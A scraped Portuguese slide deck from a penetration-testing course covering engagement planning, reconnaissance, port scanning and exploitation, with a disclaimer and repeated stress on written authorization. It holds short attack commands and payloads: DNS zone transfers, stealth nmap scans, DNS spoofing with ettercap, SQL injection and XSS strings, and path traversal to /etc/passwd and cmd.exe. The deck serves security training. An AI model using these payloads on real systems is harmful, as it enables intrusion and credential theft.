169

Click here to load reader

teste de invasão

Embed Size (px)

Citation preview

Page 1: teste de invasão

Rafael Soares Ferreira Clavis Segurança da Informação [email protected]

Teste de Invasão em Redes e Sistemas

Page 2: teste de invasão

$ whoami

•  Grupo Clavis •  Sócio Diretor Técnico •  Detecção e resposta a incidentes de segurança •  Testes de invasão em redes, sistemas e

aplicações.

Page 3: teste de invasão

Contatos

[email protected] rafaelsoaresferreira @rafaelsferreira www.facebook.com/rafaelsoaresferreira

Page 4: teste de invasão

Disclaimer

O Curso de Teste de Invasão em Redes e Sistemas da Academia Clavis tem o objetivo único de capacitar profissionais para as práticas de testes e análises de segurança de redes, sistemas e aplicações por meio de ataques e invasões, real izados com consentimento do proprietário ou possuidor da rede, sistema ou aplicação.

Page 5: teste de invasão

Agenda

•  Introdução

•  Planejamento e preparação

•  Obtenção de Informações

•  Sondagem e mapeamento

•  Identificação de Vulnerabilidades

•  Invasão

•  Finalizando

Page 6: teste de invasão

l  Microsoft Windows Básico

l  Linux Básico

l  Redes TCP/IP Básico

Pré-Requisitos

Page 7: teste de invasão

l  Backdoor l  Cavalo de Troia

l  Firewall

l  DMZ

l  IDS/IPS

l  Botnet

l  DoS/DDoS/DRDoS

Terminologia e Definições

Page 8: teste de invasão

l  Scanner l  MITM

l  Sniffer

l  Spoofing

l  Hash

l  Criptografia Simétrica

l  Criptografia Assimétrica

Terminologia e Definições

Page 9: teste de invasão

l  Distribuição Linux baseada em Debian l  Voltada para Testes de Invasão

l  Bom reconhecimento de hardware

l  Mais de 300 ferramentas atualizadas

l  http://www.kali.org/

Kali Linux

Page 10: teste de invasão

Pentest  

Teste  de  Conformidade  

Polí2ca  de  Segurança  

Teste de Invasão

Avaliação  de  Vulnerabilidades  

Page 11: teste de invasão

l  Atividade técnica controlada

l  Teste de segurança

l  Simulação de ataques reais

l  Tentativa de acesso não autorizado

Teste de Invasão

Page 12: teste de invasão

• Entender reais riscos que vulnerabilidades específicas apresentam ao seu negócio • Testar de fato a segurança de sua rede ou sistema de informação • Determinar se investimentos atuais estão realmente detectando e prevenindo ataques • É mais barato ser proativo!

Justificativa & Motivação

Page 13: teste de invasão

• Milestone para projetos entrarem ou não em produção (“go live”) • Manter-se em conformidade com normas internacionais (ISO 27001, ISO 27002, HIPAA, PCI-DSS, GLBA, FDIC, FISMA,SOX, ...) • Lei de Wilson

Justificativa & Motivação

Page 14: teste de invasão

Um sistema é tão seguro quanto sua parte mais fraca.

Justificativa

Page 15: teste de invasão

PenTesting

>> Arte Desmistificada

Page 16: teste de invasão

Simulação X Ataque Real

Page 17: teste de invasão

Metodologia Documentação

Preocupação com o Cliente

Limitações

Autorização documentada

Simulação X Ataque Real

Page 18: teste de invasão

l  Ferramental: è Gosto/Estilo

è Volátil

l  Técnica è Necessidade

è Sólida/Robusta

Técnicas regem o ferramental!

Técnica e Ferramental

Page 19: teste de invasão

Etapas

(1)  Obtenção de Informações (2)  Varreduras

(3)  Invasão

(4)  Mantendo Acesso

(5)  Cobrindo Rastros

Page 20: teste de invasão

Permissão:

l  Por escrito

l  Assinada pelo responsável

Antes de qualquer teste...

Page 21: teste de invasão

Permissão:

l  Acordo legal

l  Define os tipos de atividades

l  Protege o(a) consultor(a) contra perdas e danos que possam resultar do teste

Antes de qualquer teste...

Page 22: teste de invasão

l  Documentação viva:

l  ...ou seu logger de terminal favorito J

l  Atenção para programas gráficos!

è Screenshots

è ScreenCasts

# script -a -f pentest.log

Script started, file is pentest.log

#

Antes de digitar comandos...

Page 23: teste de invasão

Planejamento &

Preparação

Page 24: teste de invasão

• Detalhes da Infraestrutura • Acordo de confidencialidade (NDA)

• Equipamento e recursos necessários

• Relatório de linha do tempo

• Acesso a testes anteriores

• Inspeção física

Planejamento & Preparação

Page 25: teste de invasão

Escopo:

l  Objetivo/Propósito

l  Alvos

l  Profundidade

l  Exclusões

Planejamento & Preparação

Page 26: teste de invasão

Objetivo/Propósito

l  O que o cliente pretende obter com o teste de invasão?

l  Será que essa é a melhor escolha?

l  Será que estamos no momento mais adequado?

Planejamento & Preparação

Page 27: teste de invasão

Alvos

l  O que definirá o teste como bem-sucedido?

l  Capture a bandeira

l  Tudo que puder conquistar

l  Violação de política

Planejamento & Preparação

Page 28: teste de invasão

Profundidade

l  Até onde devemos ir?

l  Quais as condições de parada?

l  “How much is too much?”

Planejamento & Preparação

Page 29: teste de invasão

Exclusões

l  Sistemas/Estruturas que não podem cair ou serem modificadas

l  Parceiros/Acordos de Serviço

l  Exclusão completa x parcial

Planejamento & Preparação

Page 30: teste de invasão

Perfil do atacante :

l  Tipos de testes

l  Caixa preta, branca ou cinza?

Planejamento & Preparação

Page 31: teste de invasão

Como classificar atacantes?

A  B  

C  

Planejamento & Preparação

Page 32: teste de invasão

Primeira Camada (A)

l  Programadores experientes

l  Não buscam publicidade

l  Dedicam boa parte de seu tempo ao estudo e atualização

Planejamento & Preparação

Page 33: teste de invasão

Segunda Camada (B)

l  Conhecimento equivalente ao de bons administradores de sistemas

l  Mais abrangência, menos profundidade

l  Contribuem regularmente em listas

l  Brincam com novas ferramentas

Planejamento & Preparação

Page 34: teste de invasão

Terceira Camada (C)

l  Dependem de scripts e “pacotes” pré-prontos

l  Experimentação irresponsável

l  Conhecimento incompleto

l  Buscam notoriedade

Planejamento & Preparação

Page 35: teste de invasão

Marco Zero: Onde você está?

l  Ataques externos

l  Ataques internos

Planejamento & Preparação

Page 36: teste de invasão

Qual perfil apresenta maior risco para o Cliente?

l  Escopo

l  Conhecimento

l  Determinação

Planejamento & Preparação

Page 37: teste de invasão

I - O que você sabe sobre o ambiente?

l  Blind (caixa preta)

l  Open (caixa branca)

l  Hybrid (híbrido)

Planejamento & Preparação

Page 38: teste de invasão

II - O que o ambiente sabe sobre você?

l  Teste anunciado

l  Teste não-anunciado

Quem está sendo testado?

Planejamento & Preparação

Page 39: teste de invasão

Conhecimento do alvo sobre

o ataque

Conhecimento do atacante sobre o alvo

Planejamento & Preparação

Page 40: teste de invasão

Tratamento de questões especiais:

l  Sistema alvo caiu

l  Dados sensíveis encontrados

l  Quem contatar?

Planejamento & Preparação

Page 41: teste de invasão

Sistema alvo caiu

l  Como detectar?

l  Como consertar?

Planejamento & Preparação

Page 42: teste de invasão

Dados sensíveis encontrados

l  Qual a definição de dados sensíveis?

l  Privacidade

Planejamento & Preparação

Page 43: teste de invasão

Pontos de Contato

è Nome è Cargo è Telefones è Outros contatos (IM, email, etc) è Chave Pública è Horários

Planejamento & Preparação

Page 44: teste de invasão

Limitações de Tempo:

l  Restrições de Horário

l  Duração do teste

Planejamento & Preparação

Page 45: teste de invasão

Restrições de Horário

l  Backups e outras tarefas periódicas

l  Equipe de plantão (para questões especiais)

l  Janelas autorizadas

Planejamento & Preparação

Page 46: teste de invasão

Duração do Teste

l  Datas fixas x Janelas de tempo

l  Exclusões

Planejamento & Preparação

Page 47: teste de invasão

Vetores de Ataque

l  Classificação de vulnerabilidades (estimativa de impacto provável)

l  Identificação de circuitos de ataques e cenários para exploração

l  Caminho de menor resistência

l  Árvores de ataques

Planejamento & Preparação

Page 48: teste de invasão

Árvores de Ataque

l  Ataques intrusivos x não intrusivos

l  Orçamento, habilidade e acesso do atacante

l  Probabilidade de sucesso de cada ataque

l  Probabilidade de ocorrência de cada ataque

l  Como organizar sua infraestrutura e gerenciar seu orçamento em segurança

Planejamento & Preparação

Page 49: teste de invasão

Planejamento & Preparação

Page 50: teste de invasão

Documento final l  Sumário Executivo

l  Escopo do Projeto

(e partes fora do escopo)

l  Ferramentas (e exploits) utilizados

l  Data e hora dos testes nos sistemas

Estrutura do Relatório

Page 51: teste de invasão

Documento final

l  TODA saída dos testes realizados

l  Lista de todas as vulnerabilidades identificadas, incluindo recomendações para resolver as questões encontradas

l  Prioridades e soluções recomendadas

Estrutura do Relatório

Page 52: teste de invasão

Obtenção de

Informações

Page 53: teste de invasão

l  Engenharia Social l  Trashing (Dumpster Diving)

l  Whois

l  Entradas DNS

l  Buscas na Internet

l  Cópia de Website

l  FOCO é muito importante nessa fase

Obtenção de Informações

Page 54: teste de invasão

l  O modo mais simples de se obter uma informação é pedindo por ela!

l  “Peopleware”

l  ES de tecnologia è Cavalos de Troia è Phishing

l  ES de contato direto

è Pessoal è Via telefone/videoconferência

Engenharia Social

Obtenção de Informações

Page 55: teste de invasão

l  Conformidade è  “10000 lemmings não podem estar errados”

l  Lógica

è  “Quanto mais queijo... menos queijo!”

l  Necessidade è  “Pode me ajudar?”

Engenharia Social – Sete tipos de persuasão

Obtenção de Informações

Page 56: teste de invasão

l  Autoridade è  “sabe com quem está falando?”

l  Reciprocidade

è  “quem quer rir...tem que fazer rir!”

l  Similaridade è  “Espelho, espelho meu”

l  Informacional

è  “Como está o Wolfie? Ele está latindo”

Obtenção de Informações

Engenharia Social – Sete tipos de persuasão

Page 57: teste de invasão

Engenharia Social

Confiança não é algo que se dá, é algo que se conquista.

l  Paciência

l  Inspirar confiança (pertencer ao lugar)

l  Engenharia Social Reversa

Obtenção de Informações

Page 58: teste de invasão

Engenharia Social

l  Atenção com a legislação!

l  Carregue sempre uma cópia da autorização

Obtenção de Informações

Page 59: teste de invasão

Trashing

l  Lixo corporativo geralmente expõe muita informação

l  Classificação da informação e controles l  Armazenamento l  Compartilhamento l  Descarte

Obtenção de Informações

Page 60: teste de invasão

Whois (RFC 3912)

Obtenção de Informações

Page 61: teste de invasão

Whois

l  Nomes

l  Endereços

l  Contatos

l  Servidores DNS

$ whois dominio $ whois IP

Obtenção de Informações

Page 62: teste de invasão

Podemos confiar no Whois?

l  Registros privados

l  Veracidade das informações

l  Descentralização de servidores Whois

è Dados genéricos x especializados

è Propagação de atualizações

Obtenção de Informações

Page 63: teste de invasão

l  Contatos técnicos e administrativos

l  Dados para cobrança

l  Servidores de nome autoritativos

Obtenção de Informações

Whois – Informações Interessantes

Page 64: teste de invasão

DNS Como funciona o DNS? (RFCs 1034/1035) Buscas recursivas entre servidores regionais e top-level domains (ccTLD/gTLD)

Obtenção de Informações

Page 65: teste de invasão

Entradas DNS

l  IP (A/AAAA)

l  Nome Canônico (CNAME)

l  Correio Eletrônico (MX)

l  Start of Authority (SOA)

l  Name Servers (NS)

l  Texto arbitrário (TXT)

l  Outras (HINFO, SRV, PTR, ...)

Obtenção de Informações

Page 66: teste de invasão

Colhendo Entradas DNS Estrutura $ dig @servidor_dns maquina (-x IP) tipo

Rastreando caminho $ dig +trace www.site.com.br

Transferência de Zona $ dig @servidor_dns dominio axfr

Obtenção de Informações

Page 67: teste de invasão

Colhendo Entradas DNS

Transferência de Zona no com NSLOOKUP

C:\> nslookup

> server [servidor_DNS]

> set type=any

> ls -d [dominio]

Obtenção de Informações

Page 68: teste de invasão

Buscas na Internet (google hacking)

l  Crawlers não sabem o que deve ser privado (robots.txt é apenas uma recomendação)

l  Cache pode continuar expondo informação

Obtenção de Informações

Page 69: teste de invasão

Buscas na Internet (google hacking) l  Identificação de servidores

l  Servidores negligenciados

l  Listagem de diretórios

l  Senhas

l  Bancos de dados

l  Relatórios de Segurança

l  Informações sensíveis

Obtenção de Informações

Page 70: teste de invasão

Buscas na Internet (google hacking)

l  Curingas:

inclusão/exclusão (+ -) asterisco (*) sinônimos (~)

l  Restrições:

site: filetype: (ou ext:) link:

Obtenção de Informações

Page 71: teste de invasão

Buscas na Internet (google hacking)

l  Operadores especiais (com equivalentes “all”): intitle: inurl: intext: inanchor: cache:

Obtenção de Informações

Page 72: teste de invasão

Buscas na Internet (google hacking)

l  Listas de discussão

l  Arquivos compartilhados

l  Perfis em redes sociais

l  Blogs e/ou páginas pessoais de colaboradores

Obtenção de Informações

Page 73: teste de invasão

Buscas na Internet (google hacking)

l  Como retirar suas informações do google? l  Controlando os “crawlers”

l  noindex meta tag l  robots.txt

l  Solicitando ao Google

l  Google Webmaster tools

Obtenção de Informações

Page 74: teste de invasão

Buscas na Internet (google hacking)

l  SiteDigger

l  Explora o cache do Google atrás de: l  Vulnerabilidades l  Mensagens de erro l  Configurações inseguras l  Informações sensíveis l  Etc

Obtenção de Informações

Page 75: teste de invasão

Buscas na Internet (google hacking)

l  Google Hacking Database - GHDB

l  Buscas que retornam resultados interessantes

l  Organizadas por categorias

Obtenção de Informações

Page 76: teste de invasão
Page 77: teste de invasão

Cópia de Website

l  Análise offline

l  Experimentação passiva

l  Mirroring para phishing

Obtenção de Informações

Page 78: teste de invasão

Cópia de Website

l  Funcionalidade spider de alguns proxies

l  Ferramenta HTTrack / WEBHTTrack

Obtenção de Informações

Page 79: teste de invasão

Cópia de Website - HTTrack httrack www.site.com.br --depth=N --robots=0 --keep-alive --tolerant --user-agent “Googlebot/2.1”

Outros UAs interessantes: Opera 9.21: “Opera/9.21 (Windows NT 5.1; U; en” Internet Explorer 7.0: “Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)” Firefox 2.0.11: “Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8.1.11)

Gecko/20071127 Firefox/2.0.0.11

Obtenção de Informações

Page 80: teste de invasão

Obtenção de Informações

Cópia de Website - WEBHTTrack

Page 81: teste de invasão

Robô local X Robô de Internet

l  buscas são restritas a links e listagens de diretório

è um robô local é mais confiável.

è um robô de Internet pode ter mais links.

Obtenção de Informações

Page 82: teste de invasão

Varreduras

Page 83: teste de invasão

l  Wardriving

l  Mapeamento de Redes

l  Port Scan

l  Detecção passiva de SO

Varreduras

l  Mapeando Firewalls

l  Vulnerabilidades

l  Web

l  NULL Sessions

Page 84: teste de invasão

Wardriving

Varreduras

Sniffing e quebra de redes sem fio (Wireless) l  Kismet

l  Suite “aircrack-ng”: è  airodump

è  aireplay

è  aircrack

Page 85: teste de invasão

Mapeamento de Redes

l  Entender a topologia da rede

l  Mapear dispositivos

l  Redes internas, Gateways, DMZs ...

Varreduras

Page 86: teste de invasão

Busca por hosts vivos

•  Varreduras por portas e vulnerabilidades podem demorar muito!

•  Se o alcance da varredura for muito grande, limite-a a apenas hosts vivos

Varreduras

Page 87: teste de invasão

Detecção de Serviços

l  Varreduras Algumas portas são reservadas para determinados serviços

$ cat /etc/services | grep PORTA

l  Mas na prática podemos usar qualquer uma!

Varreduras

Page 88: teste de invasão

Detecção de Sistemas Operacionais

l  RFC's não implementados na íntegra

l  Padrões de comportamento em intercomunicação

Varreduras

Page 89: teste de invasão

Port Scan

l  Ping Sweeping

l  TCP 3-Way Handshake e outras “flags”

l  Portas oficiais para determinados serviços

Varreduras

Page 90: teste de invasão

Port Scan - Nmap

l  Diversos tipos de varreduras

l  Possui interface gráfica (Zenmap)

l  Disponível para Unix e Windows

Varreduras

Page 91: teste de invasão

Port Scan - Nmap

Varreduras

# nmap -sS -sV -f -PN -O -v -v -g53 -T1 172.16.1.254

Varredura TCP SYN (Half-Open) Envia pacote SYN, como se estivesse tentando abrir uma conexão TCP. Se o alvo retornar SYN|ACK, marca a porta como aberta e envia RST. Senão (alvo retornou RST), porta é marcada como fechada.

Alternativas: -sT (utiliza a chamada de sistema “connect()”. Fácil detecção) -sP (envia pedidos de ICMP echo (ping) para as portas)

Varreduras subreptícias (RFC 793):

-sF (envia pacotes FIN simples, e espera RST de portas fechadas) -sX (idem, mas marca FIN, URG e PUSH (Xmas Tree)) -sN (idem, mas não ativa nenhuma flag (Null scan))

Page 92: teste de invasão

Port Scan - Nmap -sU determina portas UDPs abertas no alvo -sI [host[:porta]] Idlescan, faz varredura “cega”, onde nenhum pacote vem da sua máquina. -b [ftp] usa servidor ftp como “proxy” (RFC 959) -oN [arq] gera registro (log) da varredura --resume [arq] permite resumir varredura, a partir de arquivo de log gerado --exclude [host,host,...] não varre hosts especificados -p [portas] Determina quais portas olhar (20-30,139,60000-) -D [host, ME, ...] Finge que outros hosts também estão fazendo uma varredura

Varreduras

Page 93: teste de invasão

Varreduras

Port Scan - xprobe2

l  Fingerprinting de Sistema Operacional

l  Fuzzy Signature Matching

l  Palpites probabilísticos

l  Estrutura modular (-L para lista de módulos)

Page 94: teste de invasão

Varreduras

Port Scan - netstat

l  Verificação local l  Windows:

netstat -na netstat -nao netstat -nab

l  Unix: netstat -tupan

Page 95: teste de invasão

Varredura TCP connect()

SYN  

SYN/ACK

ACK  

Varreduras

Page 96: teste de invasão

Varredura TCP SYN (half-open)

SYN  

SYN/ACK

SYN  

RST  

Varreduras

Page 97: teste de invasão

Varredura TCP Null

*cri* *cri*

*cri* *cri*

RST  

Varreduras

Page 98: teste de invasão

Varredura TCP FIN

FIN  

FIN  

RST  

Varreduras

Page 99: teste de invasão

Varredura TCP Xmas (Árvore de Natal)

FIN/PSH/URG

FIN/PSH/URG

RST  

Varreduras

Page 100: teste de invasão

Varredura TCP ACK

ACK  

ACK  

RST  

Varreduras

Page 101: teste de invasão

Varredura de Janela TCP

ACK  

ACK  

RST  

Varreduras

Page 102: teste de invasão

Varredura TCP Maimon

FIN/ACK

FIN/ACK

RST  

RST ?

Varreduras

Page 103: teste de invasão

Varredura TCP Ociosa (Idlescan)

Passo 1: encontre um bode expiatório :-)

SYN/ACK

RST (id+1)

Varreduras

Page 104: teste de invasão

Varredura TCP Ociosa (Idlescan)

SYN (IP falso)

RST  

SYN/ACK

SYN/ACK

RST (id+2)

Varreduras

Page 105: teste de invasão

SYN (IP falso) RST  

SYN/ACK

RST (id+1)

Varreduras

Varredura TCP Ociosa (Idlescan)

Page 106: teste de invasão

Varredura FTP Bounce

Envie o arquivo para ALVO, porta X

Oi ALVO! segue arquivo

Varreduras

Page 107: teste de invasão

Varredura UDP

*cri* *cri*

*cri* *cri*

ICMP Port Unreachable

Varreduras

Page 108: teste de invasão

Detecção Passiva de SO

Varreduras

p0f

l  Determina SO e outras configurações

l  Analisa estrutura de pacotes TCP/IP

l  Fingerprinting completamente passivo (não gera tráfego malicioso)

Page 109: teste de invasão

Detecção Passiva de SO

Varreduras

p0f Completamente passivo?

l  Alvo precisa conectar-se (ou ser conectado) em sua rede, de forma espontânea ou induzida:

è devolvendo email inválido

è  fazendo lookups

è aceitando (ou recusando!) web, ftp, ssh, etc

è  imagem/html externo em email

Page 110: teste de invasão

l  Identificação de Serviços Vulneráveis

l  Senhas padrão

l  Correlacionamento de vulnerabilidades: identificando falsos positivos/negativos

l  Enumeração de vulnerabilidades encontradas

Varreduras

Vulnerabilidades

Page 111: teste de invasão

l  Catálogo de dispositivos autorizados/não autorizados l  Catálogo de softwares autorizados/não autorizados l  Configuração segura para hardware e software l  Análise de vulnerabilidades e correção das mesmas l  Proteção contra malware l  Segurança de aplicações l  Controle de dispositivos sem fio l  Capacidade de recuperação de dados l  Capacidade para avaliação de segurança e treinamento apropriado l  Configurações seguras de dispositivos de rede

Varreduras

Vulnerabilidades - SANS/FBI Top 20

Page 112: teste de invasão

l  Limitação e controle de portas, protocolos e serviços l  Uso controlado de privilégios administrativos l  Proteção de perímetro l  Proteção, monitoramento e análise de logs de segurança l  Controle de acesso l  Monitoramento e controle de conta l  Prevenção de perda de dados l  Capacidade de resposta a incidentes l  Engenharia de Segurança de Rede l  Testes de invasão e exercícios de resposta a incidentes

Varreduras

Vulnerabilidades - SANS/FBI Top 20

Page 113: teste de invasão

l  Varredor de vulnerabilidades #1

l  Grande variedade de plugins

l  Atualizações constantes

l  Desde a versão 3 não é mais GPL

Varreduras

Vulnerabilidades - Nessus

Page 114: teste de invasão

# nessus-fetch --register CÓDIGO_DE_ATIVAÇÃO

# nessus-mkcert

# nessus-adduser

Regras (Política de uso)

l  accept (ou deny) IP/MÁSCARA (ou client_ip) l  default (accept ou deny)

Varreduras

Vulnerabilidades – Nessus (Servidor)

Page 115: teste de invasão

# nessus-fetch --plugins

# tar zxf all-2.0.tar.gz DIRETORIO_DE_PLUGINS

# nessus-update-plugins

# nessus-fetch --check

# nessusd start

Varreduras

Vulnerabilidades – Nessus (Servidor)

Page 116: teste de invasão

l  SARA

l  OpenVAS

l  MBSA

l  Core Impact

l  GFI LANguard

l  QualysGuard

l  SAINT

l  Retina

Varreduras

Vulnerabilidades

Page 117: teste de invasão

l  Localização de arquivos/diretórios/CGI l  Identificação de servidores l  Identificação de vulnerabilidades l  Recursos contra IDSs l  SSL e Proxy

ü  Nikto ü  Wikto ü  Burp Suite ü  HP WebInspect ü  Acunetix WVS

Varreduras

Web

Page 118: teste de invasão

# nikto.pl -h ALVO -p PORTA

-useproxy -update -Cgidirs “/dir1/ /dir2/ /dir3/ ...” -evasion TIPO -Format (csv,html,txt,xml) -output ARQUIVO -mutate TIPO -Tuning TIPO

Opções extras (“-Help” para lista detalhada)

Varreduras

Web - Nikto

Page 119: teste de invasão

NULL Sessions

l  Usuário SYSTEM com privilégios ilimitados

l  Não é capaz de fazer “log on”

l  Acessa informações em outras máquinas através de NULL SESSIONS C:\> net use \\[alvo]\ipc$ “” /u:”” C:\> net view \\[alvo]

Varreduras

Page 120: teste de invasão

NULL Sessions - Winfingerprint •  Possui suporte a SNMP

l  Varredura de portas através de TCP e UDP l  Não faz ataques por força bruta

Varreduras

Page 121: teste de invasão

Invasão

Page 122: teste de invasão

Invasão

l  Sniffing

l  Sequestro de Sessão

l  DNS Cache Poisoning

l  Buffer Overflow

l  Quebra de Senha

l  Injeção de SQL l  Cross-site Script (XSS)

l  Directory Traversal

l  Proxies

l  Negação de Serviço

Page 123: teste de invasão

Sniffing

l  Quem está falando com quem

l  Modo Promíscuo l  Hubs X Switchs

Invasão

Page 124: teste de invasão

Invasão

Sniffing – Tcpdump

l  Ferramenta tradicional de captura de tráfego

l  Aceita filtros por expressões

l  Biblioteca padrão para captura de tráfego: libpcap

Page 125: teste de invasão

Invasão

Sniffing - Wireshark

l  Mais completo dos analisadores de tráfego

l  Possibilita remontar uma sessão

l  Estrutura em árvore

l  Possibilidade de criação de filtros

Page 126: teste de invasão

Sniffing - Dsniff

l  Conjunto de ferramentas para sniffing dsniff arpspoof

macof

tcpkill

tcpnice

msgsnarf

filesnarf

mailsnarf urlsnarf

webspy

dnsspoof

webmitm

sshmitm

Invasão

Page 127: teste de invasão

Sequestro de Sessão

l  Basicamente: sniffing + spoofing

l  Somente para protocolos orientados a conexão l  Comprometimento de “end-points”

Invasão

Page 128: teste de invasão

Sequestro de Sessão - Ettercap

l  Sniffing passivo ou ativo

l  Interface Gráfica l  Coleta senhas em protocolos como:

Telnet, FTP, POP, HTTP, SMB, dentre outros.

Invasão

Page 129: teste de invasão

Invasão

ettercap [OPCOES] ALVO1 ALVO2 (ALVO == MAC/IPs/Portas) -T (texto) [-q] ou -C (curses) ou -G (gtk) -P nome_do_plugin (“-P list” exibe todos) -R (sniffing reverso em relação aos alvos) --mitm (ou -M)

arp:[remote|oneway] icmp:MAC/IP (do gateway real) dhcp:pool_de_IPs/netmask/dns port:[remote|tree]

Ettercap

Page 130: teste de invasão

Invasão

Sequestro de DNS

l  Falsificação “perfeita” de sites

l  Ataques de Negação de Serviços (DoS)

l  Ataques MITM

l  Pode ser dividido em: è  Ataques a servidores de DNS è  Ataques a roteadores è  Ataques a hosts

l  Utilizado pelo “Projeto Escudo Dourado”

Page 131: teste de invasão

Invasão

Sequestro de DNS

l  Ataques a servidores de DNS

l  Open-Resolvers

l  Reverse Domain Hijacking (explorando ambientes de “tolerância zero”)

l  DNS Cache Poisoning è  adicionando informações “extras”

às requisições para o DNS comprometido

è  respondendo antes do servidor real!

Page 132: teste de invasão

Invasão

Sequestro de DNS

l  Ataques a roteadores

l  A maioria dos roteadores modernos passam informações de DNS dinamicamente para clientes que entram na rede.

l  Acesso às configurações de roteadores pode propagar servidores DNS maliciosos por toda a rede

l  Modificações no firmware do roteador podem dificultar ainda mais a detecção

Page 133: teste de invasão

Invasão

Sequestro de DNS

l  Ataques a arquivos hosts

l  *NIX: /etc/

l  Win NT/2K/2K3/XP/Vista: determinado por “\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\ Services\Tcpip\Parameters\DataBasePath”;

normalmente em %SystemRoot%\System32\drivers\etc\

l  Win 9x: %WinDir%\

l  Mac OS X: /private/etc

l  Symbian: C:\system\data\ (1a e 2a edições) C:\private\10000882\ (3a edição)

Page 134: teste de invasão

Invasão

Sequestro de DNS # echo “127.0.0.1 *.alvo.com.br” > hosts.txt # dnsspoof -i eth0 -f hosts.txt # ettercap -Tq -M arp // // -P dns_spoof (arquivo “/usr/share/ettercap/etter.dns”)

Page 135: teste de invasão

Buffer Overflow

l  Não verificação de limites extremos

l  Essência dos exploits de binários

l  Pré-datam a própria linguagem C (1972)

l  Stack, Heap, Integer, ...

Invasão

Page 136: teste de invasão

Invasão

Formas de abusar de sistemas exploram:

l  Vulnerabilidades em software

l  Configurações fracas

l  Problemas intrínsecos à protocolos

l  Senhas fracas

l  Pessoas & Processos

Page 137: teste de invasão

Invasão

l  Encontrar código/ferramenta/atividade para PoC

l  Desenvolver, caso necessário (e definido no escopo):

- Metasploit - SecurityForest Exploitation Framework - Attack Tool Kit (ATK)

- CANVAS - Core Impact

- SAINTexploit

Page 138: teste de invasão

Invasão

Metasploit Framework

l  Plataforma para desenvolvimento de exploits

l  Flexível e portátil

l  Fácil de usar

l  Extremamente poderosa

l  v2 e v3

Page 139: teste de invasão

Invasão

Metasploit Framework: Console # msfconsole

=[ ���metasploit v4.8.0-2013112001 [core:4.8 api:1.0] + -- --=[��� 1220 exploits - 667 auxiliary - 191 post + -- --=[��� 324 payloads - 30 encoders - 8 nops

msf>

_ _/ \ /\ __ _ __ /_/ __| |\ / | _____ \ \ ___ _____ | | / \ _ \ \| | \/| | | ___\ |- -| /\ / __\ | -__/ | || | || | |- -||_| | | | _|__ | |_ / -\ __\ \ | | | | \__/| | | |_ |/ |____/ \___\/ /\ \\___/ \/ \__| |_\ \___\

Page 140: teste de invasão

Invasão

Metasploit Framework: Console msf> search TIPO EXPRESSAO msf> info MODULO msf> use MODULO msf exploit ()> show options RHOST, RPORT, LHOST, LPORT, TARGET, ... msf exploit ()> set VAR VALOR msf exploit ()> exploit

Page 141: teste de invasão

Invasão

Metasploit Framework: GUI

# ./msfgui

Page 142: teste de invasão

Invasão

Metasploit Framework: Interface Web

# ./msfweb

Page 143: teste de invasão

Invasão

Metasploit Framework

l  Testar em ambiente controlado

l  Usar contra o(s) alvo(s)

l  Confirmar/refutar vulnerabilidade em questão

l  Documentar resultados

Page 144: teste de invasão

Invasão

Quebra online de senhas

l  Roubo de senhas

è  sniffing è  MITM è  keyloggers è  engenharia social

l  Força bruta remota (THC-Hydra)

è  senhas padrão è  senhas comuns

Page 145: teste de invasão

Invasão

Quebra offline de senhas

l  Roubo de senhas è  %SystemRoot%\System32\config\SAM è  /etc/shadow è  escutando (redes, pessoas)

l  samdump/pwdump6/fgdump

l  John The Ripper

l  Cain and Abel

l  RainbowCrack

Page 146: teste de invasão

l  Exploração de Bancos de Dados SQL sem prévia validação (correta) do pedido (query)

l  Exposição, manipulação e remoção de dados sensíveis

l  Execução de comandos no sistema

l  Relativamente simples de ser explorado (analisando mensagens de erro do BD)

Injeção de SQL

Invasão

Page 147: teste de invasão

SELECT id FROM usuarios WHERE nome = '$nome' AND senha = '$senha' ;

<form method="post" action="http://SITE/login.php"> <input name="nome" type="text" id="nome"> <input name="senha" type="password" id="senha"> </form>

Client-Side:

Server-Side:

Injeção de SQL

Invasão

Page 148: teste de invasão

' OR 'a'='a

SELECT id FROM usuarios WHERE nome = '$nome' AND senha = '' OR 'a'='a' ;

Client-Side: O Exploit!

Server-Side:

Injeção de SQL

Invasão

Page 149: teste de invasão

http://xkcd.com/327/

Injeção de SQL

Invasão

Page 150: teste de invasão

l  Alguns sites não enviam mensagens de erro do Banco de Dados, dificultando ataques

l  Ataque às cegas explora resultados de sucesso/falha com injeções AND para mapear o BD

ü  Absinthe

http://SITE/noticias.jsp?id=5 AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1, 1))) > 110

Injeção de SQL: BLIND

Invasão

Page 151: teste de invasão

l  Tipo 0: Execução de código (DOM). Requer engenharia social

l  Tipo 1: Não persistente (Roubo de informação). Requer engenharia social.

l  Tipo 2: Persistente (Injeção de código).

Não requer engenharia social.

http://SITE/search.php?q=%3Cscript%3Ealert%28%91Aloha%20%92%29%3C%2Fscript%3E

Cross-site Scripting (XSS)

Invasão

Page 152: teste de invasão

l  Mapeamento da árvore do sistema de arquivos

l  Acesso a arquivos específicos

l  Bug do Unicode em versões antigas do IIS

GET http://ALVO/scripts/..%255c../winnt /system32/cmd.exe?/c+dir+c:\

Directory Traversal

Invasão

Page 153: teste de invasão

<?php $template = 'blue.php'; if ( is_set( $_COOKIE['TEMPLATE'] ) ) $template = $_COOKIE['TEMPLATE']; include ( "/home/users/phpguru/templates/" . $template ); ?>

l  Request criada para explorar o código:

GET /vulnerable.php HTTP/1.0 Cookie: TEMPLATE=../../../../../../../../../etc/passwd

l  Resposta do servidor:

HTTP/1.0 200 OK Content-Type: text/html Server: Apache

root:fi3sED95ibqR6:0:1::/:/bin/bash daemon:*:1:1::/tmp: phpguru:f8fk3j1OIf31.:182:100::/home/phpguru/:/bin/csh

Directory Traversal

Invasão

Page 154: teste de invasão

l  Interceptação de mensagens HTTP e HTTPS

l  Manipulação de cookies e formulários

l  Scanning, e muito mais

ü  PAROS ü  OWASP WebScarab ü  Burp Suite

Invasão

Proxies

Page 155: teste de invasão

l  Desempenho extremamente baixo

l  Indisponibilidade completa

l  Podem ser parte de ataque elaborado,

geralmente envolvendo spoofing

Invasão

Negação de Serviço

Page 156: teste de invasão

l  Consumo de recursos computacionais como

banda, espaço em disco ou tempo de CPU

l  Quebra de arquivos de configuração

l  Quebra de informação de estados

l  Quebra de componentes físicos

l  Obstrução de canais de comunicação

Invasão

Negação de Serviço

Page 157: teste de invasão

